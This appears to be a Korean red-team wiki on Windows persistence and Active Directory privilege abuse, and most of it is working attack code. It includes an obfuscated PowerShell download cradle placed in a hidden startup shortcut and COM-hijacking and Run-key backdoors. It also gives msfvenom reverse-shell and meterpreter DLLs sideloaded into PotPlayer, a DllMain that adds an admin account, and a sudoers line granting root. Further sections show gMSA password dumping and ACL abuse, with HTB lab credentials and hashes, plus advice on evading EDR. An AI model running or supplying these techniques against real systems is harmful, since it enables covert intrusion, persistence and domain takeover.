사용자의 시작 프로그램 폴더에 있는 파일들은 사용자가 로그인 시마다 자동으로 실행됩니다. 시작 프로그램 폴더 경로는 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup 입니다. 파워쉘의 IEX를 통해서 공격자 서버의 파일을 읽고 실행하는 코드를 난독화(실습에선 Base64) 하고, 해당 코드를 실행하는 바로가기 파일(lnk)을 생성하여 시작 프로그램 폴더에 삽입합니다.

# 공격자 서버로 연결을 시도하는 스크립트 URL 입력 및 인코딩
$str = 'IEX ((new-object net.webclient).downloadstring("http://example.com/Reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
<-- Base64 Encoded Command -->

# 파워쉘을 통해 현재 사용자의 시작 프로그램 폴더에 lnk 파일 생성
$WshShell = New-Object -ComObject WScript.Shell
$StartupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk"
$Shortcut = $WshShell.CreateShortcut($StartupPath)

$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.Arguments = "-nop -w hidden -enc <Base64 Encoded Command>"
$Shortcut.WorkingDirectory = "C:\Windows\System32"
$Shortcut.WindowStyle = 7
$Shortcut.Save()

여기서 작업 폴더를 C:\Windows\System32로 하는 이유는 신뢰받는 디렉토리에서 작업하기 위함입니다.

WindowStyle은 3가지 유형으로 설정할 수 있습니다.

  • 1 : 일반 창(기본)

  • 3 : 최대화

  • 7 : 최소화

즉 해당 코드는 Windows에서 신뢰받는 폴더에서 작업을 시작하며, 최소화를 통해 조용히 실행하도록 합니다.

COM

COM은 Windows에서 기본으로 제공하는 기능으로 프로그램 간 객체를 공유하는 시스템입니다. 지속성 공격은 기본적으로 은닉성이 바탕이 되기 때문에, 이미 사용중인 오브젝트를 덮어쓰는 것 보다는 존재하지 않는 오브젝트를 찾아 그곳에 백도어를 심는 것이 안전한 방법입니다.

Process Monitor은 Sysinternals Suite의 일부로, 파일 시스템, 레지스트리, 프로세스의 활동을 실시간으로 보여주며 다양한 공격(DLL SideLoading 등) 벡터를 찾는데 유용한 도구입니다. 보통의 경우 제어권을 탈취한 Windows 머신에서 GUI 환경을 획득하는 것 자체가 제한될 수 있습니다. 따라서 먼저 자신의 로컬 머신에서 하이재킹 할 수 있는 항목을 직접 조사한 뒤에, 하이재킹이 가능한 오브젝트를 찾아 피해자 PC에서 적용시키는 것이 일반적인 방법입니다. Process Monitor을 아래 Microsoft에서 다운로드 후, Procmon64를 실행합니다.

기본적으로 Procmon64를 실행했을 땐 많은 프로세스 목록이 나오기 때문에 필터를 생성하여 나에게 필요한 취약한 오브젝트 목록만을 확인해야 합니다.

현재 생성한 필터는 3가지로 다음과 같습니다.

  • RegOpenKey 작업

  • Result가 NAME NOT FOUND인 경우(삭제 등에 의해 현재는 참조하지 않는 오브젝트)

  • Path가 InprocServer32로 끝나는 경우

RegOpenKey를 설정하는 이유는 COM 객체를 로드할 때, 시스템 관련 정보를 레지스트리에서 가져오기 위해 다음과 같은 키들을 열고(RegOpenKey) 탐색하기 때문입니다.

  • HKCR\CLSID\{...}

  • HKCU\Software\Classes\CLSID\{...}

  • HKLM\SOFTWARE\Classes\CLSID\{...}

우리가 하는 행위들이 단순한 업무적 모의해킹이 아닌, 작전 보안 관점에서 생각했을 때는 지속성과 더불어 은닉성을 항상 생각하고 있어야 합니다. 즉 자주 호출되는 오브젝트를 하이재킹 할 경우 비콘 커넥트 혹은 리버스쉘 등은 더욱 쉽고 대기 없이 되겠지만 그만큼 이상 징후로 노출될 수도 있으며 시스템이 불안정해질 수도 있습니다. 적당히 자주 호출되면서도 사람들이 자주 사용하는 프로그램(MS 365, KakaoTalk 등)은 피하는 것이 좋습니다.

실습에서는 HKCU\Software\Classes\CLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32 를 골랐습니다. 이것을 레지스트리에 대해 질의하면 HKLM에는 존재하지만 HKCU에는 존재하지 않는 것을 알 수 있습니다.

PS C:\Users\Mick3y> reg query "HKLM\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"

HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32
    (기본값)    REG_SZ    C:\Windows\System32\thumbcache.dll
    ThreadingModel    REG_SZ    Apartment

PS C:\Users\Mick3y> reg query "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
오류: 오류: 시스템이 지정된 레지스트리 키 또는 값을 찾을 수 없습니다.

HKCU에 새로운 레지스트리 키를 생성하여, 이 CLSID를 가리키게 하고 악성 DLL을 로드하도록 할 수 있습니다. DLL Hijacking에서 언급하는 내용과 동일한 방법입니다. 코발트 스트라이크의 페이로드 생성 기능을 이용하여 dll 파일을 삽입하거나 간단한 실습을 원할 경우msfvenom을 통해 리버스쉘 dll을 생성 후 삽입합니다.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

이제 DllHost.exe가 이 COM 엔트리를 로드할 때, 삽입한 악성 DLL이 실행됩니다.

procmon64 필터
procmon64 필터 결과

Registry AutoRun

HKCU 및 HKLM에 있는 AutoRun 값들은 애플리케이션이 부팅 시 자동으로 시작될 수 있도록 허용합니다. 이는 주로 기본 제공 애플리케이션이나 써드파티 소프트웨어를 시작하는데 사용되는 것을 흔히 볼 수 있습니다.

# WindowsDefender 라는 이름의 항목을 삽입하여 악성코드가 자동으로 실행되게 설정
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d <PATH> /f 

# 등록된 레지스트리를 확인
reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

일반적으로 HKLM AutoRun이 페이로드를 System 권한으로 실행한다고 알려져 있지만 사실은 아닙니다. HKCU AutoRun은 해당 하이브(Hive)의 소유자가 로그인 할 때만 실행됩니다. HKLM AutoRun은 사용자에 무관하게 로컬 머신에 접속 시 실행되지만, 접속한 사용자의 권한으로 실행됩니다.

SSH Key Injection

장악한 계정의 컴퓨터에 SSH 프로토콜이 설치되어 있을 경우 공격자의 SSH 공개키를 장악한 계정의 인증된 키 목록에 추가함으로써 공격자는 언제든지 자신의 비밀키를 이용하여 SSH를 통한 쉘을 획득할 수 있습니다.

# Kali 머신에서 키 생성
ssh-keygen -t rsa -b 4096

# 생성한 공개키를 장악한 계정의 authorized_keys에 복사
echo <id_rsa.pub> >> C:\Users\<USER>\.ssh\authorized_keys

# Kali 머신에서 원격 접속
ssh -i id_rsa <USER>@<IP>
# Kali 머신에서 키 생성
ssh-keygen -t rsa -b 4096

# 생성한 공개키를 장악한 계정의 authorized_keys에 복사
echo <id_rsa.pub> >> ~/.ssh/authorized_keys

# Kali 머신에서 원격 접속
ssh -i id_rsa <USER>@<IP>

Create Account

지속성을 위한 방법론 중 가장 기초적이며 간단한 것은 계정 생성입니다. 공격자는 자신이 생성한 계정을 관리자 혹은 루트의 권한을 등록함으로써 언제든 시스템에 접속할 수 있습니다.

# 계정 생성
New-ADUser -Name "wiki2" -SamAccountName "wiki2" -AccountPassword (ConvertTo-SecureString "password123!" -AsPlainText -Force) -Enabled $true

# 도메인 관리자에 등록
Add-ADGroupMember -Identity "Domain Admins" -Members "wiki"
# 계정 생성
net user wiki password123! /add

# Administrators 그룹에 추가
net localgroup Administrators wiki /add
# 계정 생성 및 패스워드 설정
useradd wiki
passwd wiki
password123!
password123!

# 모든 sudo 권한 부여
echo "wiki ALL=(root) NOPASSWD: ALL" >> /etc/sudoers'

WMI Event Subscription

WMI 이벤트를 통한 지속성은 EventConsumer, EventFilter, FilterToConsumerBinding 3개의 주요 WMI 클래스를 활용하는 강력한 기법입니다.

  • EventConsumer : 실행할 동작을 정의합니다. (Ex - PowerShell 실행)

  • EventFilter : 동작을 유발할 트리거 정의. (Ex - notepad.exe가 실행될 때마다 트리거)

  • FilterToConsumerBinding : EventConsumer와 EventFilter를 연결

PowerLurk는 WMI 이벤트 기반의 지속성 확보 도구로 윈도우 내장 기능을 이용하기 때문에 감지 우회를 노리는 측면이 강했지만, 오늘날에는 EDR에서 감지될 가능성이 높습니다. 회피 전략으로는 오픈소스에 있는 시그니처 코드를 제거한 후 사용하거나, 코드 난독화 등이 있습니다. 다른 방법으로는 코드가 길어지지만 WMI를 직접 생성하는 방법이 있습니다.

# 1. Event Consumer 생성 (실행할 명령 설정)
$consumer = ([WMIClass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = "WmiBackdoor "
$consumer.CommandLineTemplate = "C:\Reverse.exe"
$consumer.ExecutablePath = "C:\Reverse.exe"
$consumer.Put()

# 2. Event Filter 생성 (notepad.exe 프로세스 시작 시)
$filter = ([WMIClass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.Name = "NotepadStartFilter"
$filter.EventNamespace = "root\cimv2"
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 3 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"
$filter.Put()

# 3. Filter와 Consumer 바인딩
$binding = ([WMIClass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filter.Path.RelativePath
$binding.Consumer = $consumer.Path.RelativePath
$binding.Put()
# PowerLurk 모듈 로드 및 이벤트 생성
PS C:\> Import-Module .\PowerLurk.ps1
PS C:\> Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Reverse.exe" -Trigger ProcessStart -ProcessName notepad.exe

현재 이벤트 트리거가 메모장이기 때문에, 해당 머신에서 메모장을 실행할 때마다 Reverse.exe 파일이 실행됩니다. 생성한 이벤트 제거 명령은 다음과 같습니다.

# 이벤트 제거
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject

References

DLL Hijacking

DLL Hijacking 공격은 실행 파일이 실행될 때 DLL이 참조되는 특성을 이용하여 악성 DLL을 삽입한 뒤 해당 시스템에서 특정 실행파일이 실행될 때마다 악성코드가 같이 실행되게끔 하는 지속성 공격입니다. 일반적으로 실행파일 소스코드에서 DLL 파일의 경로를 절대경로로 하드코딩 한 게 아니라면 다음과 같은 순서로 DLL을 참조합니다.

  1. 프로그램의 디렉토리

  2. 시스템 디렉토리(system32, SysWO64)

  3. 16비트 시스템 디렉토리

  4. Windows 디렉토리

  5. 현재 디렉토리

  6. PATH 환경변수에 설정된 디렉토리

이때 참조되는 순서를 이용한 공격이 Search Order Hijacking 공격이며 총 4가지의 하이재킹 공격 방법론이 있습니다.

  • Search Order Hijacking : DLL 참조 순서를 악용한 공격

  • Phantom DLL Hijacking : 존재하지 않는 DLL 참조를 악용하여 악성 DLL을 생성하는 공격

  • DLL Redirection : OS가 DLL 파일을 검색하는 위치를 변경하는 공격

  • Relative path DLL Hijacking : 쓰기 권한이 있는 폴더에 악성 DLL과 실행 파일의 이름을 변경하여 실행하는 공격

DLL 하이재킹은 보통 권한 상승보다는 지속성 공격으로 사용하는게 현실성과 가능성이 높기에 가장 흔하고 쉽게 사용되는 방식은 Search Order Hijacking 방식입니다. 실행 파일의 디렉토리에 참조하는 DLL과 동일한 이름으로 한다면 호환성만 해결했을 때 문제 없이 작동되기 때문입니다. 하지만 실습에서는 호환성 문제를 위해서 간단한 실습인 Phantom DLL Hijacking을 진행합니다.

Practice

실습 진행을 위해 Process Monitor를 설치합니다.

Process Monitor을 실행시킨 뒤, Windows 기본 프로그램인 osk.exe를 실행합니다. 그 이후 프로세스의 필터 기능에서 아래와 같이 필터를 걸어준 뒤 osk.exe에서 참조하지만 존재하지 않는 dll 파일을 찾아줍니다.

참조를 시도하지만 존재하지 않는 DLL 파일의 경로에 요구되는 이름과 같은 파일만 삽입한다면 해당 파일이 실행될 때 호환성의 문제 없이 백도어가 실행됩니다. 실습에서는 C:\Program Files\Common Files\microsoft shared\ink 하위에 Bcp47Langs.dll 파일을 만들어서 진행합니다.

# 악성 DLL 파일을 생성 후 로컬로 이동
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o Bcp47Langs.dll

이제 장악한 PC에서는 osk.exe를 실행할 때마다 백도어가 실행됩니다. 만약 단순한 리버스쉘과 같은 실행 파일 외에, DLL 파일만으로 코드 실행을 원한다면 아래와 같이 간단한 DLL cpp 파일을 만든 뒤 컴파일 후 사용할 수 있습니다.

#include <windows.h>
BOOL APIENTRY DllMain(
    HANDLE hModule,       // Handle to DLL module
    DWORD ul_reason_for_call, // Reason for calling function
    LPVOID lpReserved     // Reserved
)
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH: 
	    int i;
	    i = system ("net user wiki password123! /add");
	    i = system ("net localgroup administrators wiki /add");
            break;

        case DLL_THREAD_ATTACH: 
            break;

        case DLL_THREAD_DETACH: 
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

파일을 test.cpp로 저장한 후에 Kali에서 명령어로 컴파일이 가능합니다.

x86_64-w64-mingw32-gcc test.cpp --shared -o test.dll

References

DLL SideLoading

DLL 사이드로딩은 DLL Hijacking의 Search Order Hijacking 방식을 이용한 공격입니다. DLL Hijacking에 관해 다룬 DLL Hijacking 에서 실행 파일이 정상적으로 참조해야 하는 DLL을 덮어쓸 경우 호환성 문제가 발생한다고 했는데, DLL 사이드로딩은 기존의 정상 DLL 파일에 악성 바이너리 파일을 삽입하여 C 파일로 만든 후, 다시 DLL로 빌드한 뒤 실행 파일의 참조 DLL을 악성 DLL로 변경하게 되어서 기존의 호환성 문제도 해결되며 사용자들은 프로그램 실행에 문제를 느끼지 못하며 정상 프로그램의 실행에서 악성 코드가 실행됩니다.

DLL SideLoading의 과정을 요약하면 다음과 같습니다.

  1. 악성 바이너리 파일 생성

  2. SharpDLLProxy를 이용한 정상 DLL 파일에 바이너리 파일을 삽입한 C 파일 생성

  3. C 파일을 컴파일하여 DLL 파일 생성

  4. 생성한 DLL 파일을 정상 DLL 파일로 대체

  5. 실행 파일 실행 시 악성 DLL 파일이 실행

Practice

실습을 위해서 바이너리 코드를 DLL에 삽입해주는 SharpDLLProxy와 실행 파일로부터 DLL 사이드로딩이 가능한 취약점 체크를 해주는 WFH 파일을 다운합니다.

# Kali에서 Windows 실행 파일로 빌드
dotnet publish -c Release -r win-x64 --self-contained true

실습에서 사용할 프로그램은 Kakao의 PotPlayer입니다. PotPlayer의 기본 경로에서 test 디렉토리를 생성 후 PotPlayermini.exe 파일을 이동한 후 필수 라이브러리인 PotPlayer.dll 파일만 이동시켜줍니다. 그리고 DLL 사이드로딩에 취약한 라이브러리가 있는지 탐색을 도와주는 도구인 WFH를 사용해서 PotPlayerMini.exe 파일에 취약점이 있는지 탐색합니다.

# PotPlayerMini.exe에 취약점이 있는지 탐색
python wfh.py -t "C:\Program Files (x86)\DAUM\PotPlayer\test\PotPlayerMini.exe" -m dll

# 스캔 결과
==================================================
Running Frida against C:\Program Files (x86)\DAUM\PotPlayer\test\PotPlayerMini.exe
--------------------------------------------------
...
[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\test\ffcodec.dll
[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\test\Module\FFmpeg61\FFmpegMininum.dll
[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\test\ffcodec.dll

이번 실습에서는 ffcodec.dll 이라는 파일을 이용하여 실습을 진행합니다. DLL 사이드로딩의 공격 방식 자체가 정상 DLL 파일에 악성 바이너리 파일을 삽입하는 것이기 때문에 정상 DLL 파일과 악성 바이너리 파일이 필요하며, 이것을 합쳐서 악성 DLL 파일을 만들기 위해서 SharpDLLProxy가 필요합니다. 먼저 바이너리 파일을 생성하기 위해 msfvenom을 이용합니다.

# msfconsole로 쉘 연결을 하는 리버스 쉘 바이너리 코드
msfvenom -p windows/meterpreter/reverse_https -f raw lhost=192.168.200.132 lport=443 -o meter-x86.bin

# 바이너리 파일과 정상 DLL 파일의 결합
.\SharpDllProxy.exe -dll "C:\Program Files (x86)\DAUM\PotPlayer\ffcodec.dll" --payload "C:\Program Files (x86)\DAUM\PotPlayer\test\meter-x86.bin"
[+] Reading exports from C:\Program Files (x86)\DAUM\PotPlayer\ffcodec.dll...
[+] Redirected 200 function calls from ffcodec.dll to tmp7DF7.dll
[+] Exporting DLL C source to C:\windows\temp\test\win-x64\output_ffcodec\ffcodec_pragma.c

SharpDLLProxy 사용 후엔 <DLL>_pragma.c 파일과 tmp7DF7.dll 파일이 생성됩니다. tmp 파일은 기존의 정상 DLL과 동일한 역할을 하는 파일이고 C 확장 파일은 빌드 후 DLL로 만들어야 하는 악성 파일입니다.

C 파일을 Visual Studio를 통해 DLL로 빌딩 한 후에 PotPlayerMini.exe 파일과 동일한 위치로 이동합니다. PotPlayerMini.exe가 실행될 때, 원래 다른 경로에서 참조하던 ffcodec.dll 파일은 DLL 참조 규칙에 의해서 실행 파일과 동일 디렉토리에 있는 ffcodec.dll 파일을 참조하게 되고 이 파일은 실행 과정에서 meter-x86.bin 파일을 호출합니다. meter-x86.bin 파일은 미터프리터 쉘을 연결하는 악성코드이기 때문에 최종적으로 PotPlayerMini.exe를 실행했을 때 리버스 쉘이 연결됩니다.

msf6 exploit(multi/handler) > set LHOST 192.168.200.132
LHOST => 192.168.200.132
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://192.168.200.132:443
[!] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Staging x86 payload (177244 bytes) ...
[!] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 8 opened (192.168.200.132:443 -> 192.168.200.1:26637) at 2024-11-30 15:19:33 +0000

meterpreter > 

References

WriteOwner

대상 개체에 대한 소유권을 변경할 수 있는 권한으로, 소유권이 변경되면 개체의 유형에 따라 공격 방식이 다르지만, 기본적으로 WriteDACL을 이용하여 GenericAll 권한을 위임할 수 있습니다. 아래는 개체의 유형 별 가능한 공격을 간단하게 정리한 테이블입니다.

분류
권한 악용

User

소유권 변경 → GenericAll 권한 위임

Group

소유권 변경 → AddMembers 권한 위임

Computer

소유권 변경 → GenericAll 권한 위임

Domain

소유권 변경 → DCSync

Abuse

User

WriteOwner 권한이 있는 상태에서 impacket 모듈 두가지를 사용하여 소유권을 변경합니다.

# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>

# impacket을 이용한 GenericAll 권한 위임
impacket-dacledit -action write -rights FullControl -principal <USER> -target <Target> <Domain>/<USER>:<PASS>      

# PowerView.ps1을 이용한 GenericAll 권한 위임
Add-DomainObjectAcl -Rights "all" -TargetIdentity <Target> -PrincipalIdentity <USER>        

Group

그룹에 대해 WriteOwner 권한이 있는 경우 소유권을 변경한 뒤 AddMembers 권한을 위임합니다.

# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>

# WriteDACL을 이용한 WriteMembers 권한 위임
impacket-dacledit -action write -rights WriteMembers -principal <USER> -target <Target> <Domain>/<USER>:<PASS>

Computer

컴퓨터에 대한 WriteOwner 권한은 해당 머신 계정에 대한 GenericAll 권한 위임이 가능합니다.

# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>

# WriteDACL을 이용한 GenericAll 권한 위임
impacket-dacledit -action write -rights FullControl -principal <USER> -target <Target> <Domain>/<USER>:<PASS>                                               

References

ReadGMSAPassword

gMSA는 Group Managed Service Account의 약어로 Windows Server 환경에서 사용되는 특별한 유형의 관리 서비스 계정입니다. 일반적인 서비스 계정보다 더 강화된 보안을 제공하며, 여러 서버나 컴퓨터에서 하나의 계정을 공유할 수 있도록 설계되었습니다. 이 중에서도 ReadGMSAPassword 권한은 특정 사용자나 그룹이 GMSA 계정의 암호를 읽을 수 있도록 하는 권한입니다.

gMSA는 AD에서 자동으로 관리되므로 패스워드 관리 문제에 관한 솔루션이기도 합니다. 예를 들어 모든 서비스 계정에 30일마다 매우 복잡한 고유 비밀번호가 제공되므로 관리자는 서비스 계정의 비밀번호 재설정에 대해서 자유롭습니다. 따라서 이러한 그룹에 속해있는 사용자 계정을 탈취한다면 gMSA 서비스를 통해 해당 계정의 암호에 접근할 수 있는 권한을 가집니다.

위 사진은 쿠버네티스 환경에서 GMSA의 역할에 대해서 알려주고 있습니다. 컨테이너에서 AD에 등록되어 있는 서비스 예를 들면 SQL Server나 IIS 등을 이용하기 위해서는 해당 서비스에 대해 계정정보를 알아야 합니다. 이때 컨테이너 여러개에서 동일한 서비스 계정에 접근하기 위해서는 패스워드 관리가 필요할 것이며, 서비스 패스워드를 관리자가 매번 관리하는 것보다는 자동화된 프로그램을 통해서 강력한 패스워드 정책을 준수한 패스워드로 설정하는 것이 나을 것입니다. 위 사진 속 과정을 설명하면 다음과 같습니다.

  1. Windows Pod는 쿠버네티스 API에서 사용 가능한 GMSACredentialSpec을 참조합니다.그리고 웹훅은 Windows Pod가 GMSACredentialSpec을 참조할 수 있는 권한이 있는지를 확인합니다. 마지막으로 웹 훅은 GMSACredentialSpec을 Pod의 전체 JSON 형식으로 확장합니다.

  2. Windows 노드에서 실행되는 ccg.exe 프로세스는 PluginID 필드의 CredSpec에 지정된 플러그인을 시작한 다음 AWS Secrets Manager 또는 AWS System Manager Parameter Store에서 이식 가능한 ID 자격 증명을 검색합니다.

  3. ccg.exe는 휴대용 ID 자격 증명을 사용하여 AWS 관리 AD 또는 Amazon EC2 자체관리 AD를 인증하고 GMSA 비밀번호를 검색합니다.

  4. ccg.exe는 GMSA 비밀번호를 Windows Pod에서 사용할 수 있도록 해줍니다.

  5. Windows Pod는 GMSA 비밀번호를 사용하여 AW 관리 AD 또는 Amazon EC2 자체 관리 AD에 대해 인증하고 커버로스 TGS를 얻습니다.

  6. Windows Pod에서는 TGS를 통해 서비스 이용 가능

쉽게 요약하면 다음과 같습니다.

  1. Windows Pod가 GMSACredentialSpec에 접근할 권한이 있는지 웹훅이 확인하며 권한이 있다면 해당 정보를 JSON 포맷으로 전달

  2. ccg.exe는 AD에 접근하기 위해서 인증 정보를 얻기 위해 AWS Server Manager에서 휴대용 ID 자격 증명을 획득

  3. ccg.exe는 획득한 자격증명을 토대로 AWS 관리 AD 혹은 Amazon EC2 자체관리 AD에 자격 증명을 인증하고 GMSA 패스워드를 검색

  4. 획득한 패스워드를 Windows Pod에 전달

  5. Windows Pod는 해당 패스워드를 가지고 Kerberos 인증을 통해 TGS를 발급

  6. 획득한 TGS를 통해서 Pod는 Service 이용이 가능

탈취한 계정이 ReadGMSAPassword 권한이 있는 계정 혹은 그룹, 도메인, 컨테이너라면 우리는 사실상 해당 계정을 장악했다고 봐도 무방합니다. 서버에 Remote PowerShell같은 권한이 있어서 원격 접속이 가능하다면 NT Hash나 gMSA를 가져와서 그 계정의 권한으로 동작을 수행할 수도 있고 SMB나 LDAP 등에 접속하여 크리덴셜 정보를 빼오는 것 또한 가능합니다.

Practice

SIERRA 계정은 BIRMINGHAN-ITSEC 그룹의 멤버입니다. 그리고 이 그룹은 ITSEC의 멤버이기 때문에 SIERRA 계정은 ITSEC 그룹의 권한을 가집니다. 즉 ITSEC이 가진 ReadGMSAPassword 권한을 SIERRA가 가진 것과 동일한데, BIR-ADFS-GMSA 계정에 대한 GMSA를 가지게 되어서 활동이 가능하다면 TRISTAN 계정에 GenericAll 권한이 있기 때문에 TRISTAN 계정의 패스워드 변경이 가능합니다. 또 TRISTAN 계정은 DOMAIN ADMINS 그룹의 구성원이기 때문에 TRISTAN 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경한다면 TRISTAN 계정으로 로그인이 가능할 것이고, 이 계정은 DOMAIN ADMINS 권한을 갖는 것이죠. 파워쉘에서 특정 사용자 권한으로 다른 사용자의 패스워드를 변경할 때는 2가지 조건이 필요합니다.

  1. 패스워드를 변경할 사용자의 계정에 대해서 패스워드 변경 권한이 있는 사용자의 계정 정보

  2. 파워쉘 명령어를 입력할 수 있는 프롬포트

현재 2가지 조건을 모두 만족하기 때문에 tristan.davies 계정의 패스워드를 BIR-ADFS-GMSA 권한으로 변경해줍니다.

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
$mpl = ConvertFrom-ADManagedPasswordBlob $mp
$user = 'BIR-ADFS-GMSA$'
$password = $mpl.'CurrentPassword'
$secpass = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $secpass)

위와 같은 명령으로 BIR-ADFS-GMSA 계정의 정보를 cred 변수에 저장합니다.

Invoke-Command -Computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'password123!' -Force)} -Credential $cred

그 다음 커맨드를 입력하여 tristan.davies 의 패스워드를 password123!로 초기화 시킵니다. 이렇게 했을 때 우리는 tristan.davies 사용자 계정의 정보를 획득했고, impacket-wmiexec 모듈을 통해 원격 접속이 가능합니다.

ReadGMSAPassword 권한이 있는 계정에 원격 쉘 접속이 없는 경우에는 NT 해쉬 값을 가져오는 Python 파일을 사용할 수 있습니다. GitHub로부터 파일을 가져온 뒤, 로컬에서 획득한 ReadGMSAPassword 권한이 있는 사용자의 정보를 입력해줍니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# python3 gMSADumper.py -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -d search.htb
Users or groups who can read password for BIR-ADFS-GMSA$:
 > ITSec
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
BIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38
BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42

유효한 권한을 가졌다면 획득할 수 있는 GMSA 계정에 질의를 하고 획득한 사용자의 NT Hash 정보를 출력해줍니다. NT Hash 정보로는 사실상 대부분의 서비스에서 패스워드와 동일하게 취급받기 때문에 SMB, LDAP과 같은 서비스에 BIR-ADFS-GMSA$ 사용자 계정으로 로그인이 가능합니다.

┌──(root㉿kali)-[~/Pentest/Scripts]
└─# nxc smb 10.10.11.129 -u 'BIR-ADFS-GMSA$' -H e1e9fd9e46d0d747e1595167eedcec0f    
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\BIR-ADFS-GMSA$:e1e9fd9e46d0d747e1595167eedcec0f 
nxc ldap <IP> -u <USER> -p <PASS> --gmsa
# ReadGMSAPassword 권한이 있는 계정의 티켓 발급
impacket-getTGT -dc-ip <dc-ip> <domain/username:password>

# 티켓 익스포트
export KRB5CCNAME=<ccache name>

# GMSAPassword 덤프
bloodyAD --host <FQDN> -d <domain> --dc-ip <dc-ip> -k get object <Target> --attr msDS-ManagedPassword

References

DACL

DACL은 Discretionary Access Control List로 Windows에서 사용하는 권한 관리 개념입니다.

개체에 대한 엑세스 허용/거부된 사용자와 그룹을 관리하여

허용된 사용자가 아닌 다른 접근은 엑세스를 거부할 수 있습니다.

즉 특정 파일이나 리소스로 누가 무엇에 대한 권한이 어떤지를 결정하는 규칙 목록입니다.

References

AddSelf

AddSelf는 자신을 특정 그룹에 추가할 때 스스로의 권한으로 위임할 수 있는 권한입니다.

# AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
$SecPassword = ConvertTo-SecureString '<PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<Domain>\<USER>', $SecPassword)

# 저장한 객체정보를 권한이 있는 그룹에 위임
Add-DomainGroupMember -Identity '<Group>' -Members '<USER>' -Credential $Cred

# 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
Get-DomainGroupMember -Identity '<Group>'
bloodyAD.py -u <USER> -p <PASS> -d <Domain> --host <IP> add groupMember <Group> <USER>

Practice

실습 환경에서 장악한 oorend 사용자는 servicemgmt 그룹에 AddSelf 권한이 있습니다. oorend 계정으로 파워쉘을 획득할 수 있는 경로는 없었기 때문에 bloodyAD를 이용하여 ServiceMgmt 그룹에 멤버쉽을 위임하는 실습을 진행합니다.

# ServiceMgmt 그룹에 oorend 사용자를 추가
└─# python3 bloodyAD.py -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.10.11.231 add groupMember ServiceMgmt oorend                        
[+] oorend added to ServiceMgmt

